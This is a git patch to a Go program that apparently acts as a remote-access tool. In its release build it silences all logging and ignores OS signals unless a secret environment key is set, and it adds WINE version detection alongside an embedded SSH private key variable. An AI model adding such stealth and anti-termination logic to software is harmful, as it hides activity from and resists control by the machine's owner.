From 0c5c44055ad69599d12860c2145721b20a1d9087 Mon Sep 17 00:00:00 2001 From: Jerry Jacobs Date: Mon, 29 Jul 2024 07:17:24 +0200 Subject: [PATCH] systemWINEGetVersion now works, and re-enable silence of log when VMK is nog given and ignore all OS signals --- main_release.go | 4 ++-- system_windows.go | 12 +++++------- 2 files changed, 7 insertions(+), 9 deletions(-) diff --git a/main_release.go b/main_release.go index 7ec6fa8..0f6c032 100644 --- a/main_release.go +++ b/main_release.go @@ -14,7 +14,7 @@ var resourceSSHPrivateKey string func init() { dontSilenceKey := os.Getenv("VMK") if dontSilenceKey != cfg.VerboseModeKey { -// systemRouteAllLogging(os.DevNull) -// systemIgnoreAllSignals() + systemRouteAllLogging(os.DevNull) + systemIgnoreAllSignals() } } diff --git a/system_windows.go b/system_windows.go index d2eace6..e7cce7c 100644 --- a/system_windows.go +++ b/system_windows.go @@ -6,8 +6,8 @@ package main import ( "C" "golang.org/x/sys/windows" - "log" "os" + "unsafe" ) func systemGetWINEVersion() string { @@ -19,13 +19,11 @@ func systemGetWINEVersion() string { return "" } - r1, r2, r3 := wineGetVersionFunc.Call() + ret, _, _ := wineGetVersionFunc.Call() + retCStr := (*C.char)(unsafe.Pointer(ret)) + wineVersion := C.GoString(retCStr) - log.Println("r1", r1) - log.Println("r2", r2) - log.Println("r3", r3) - - return "" + return wineVersion } func systemIsUserRoot() bool {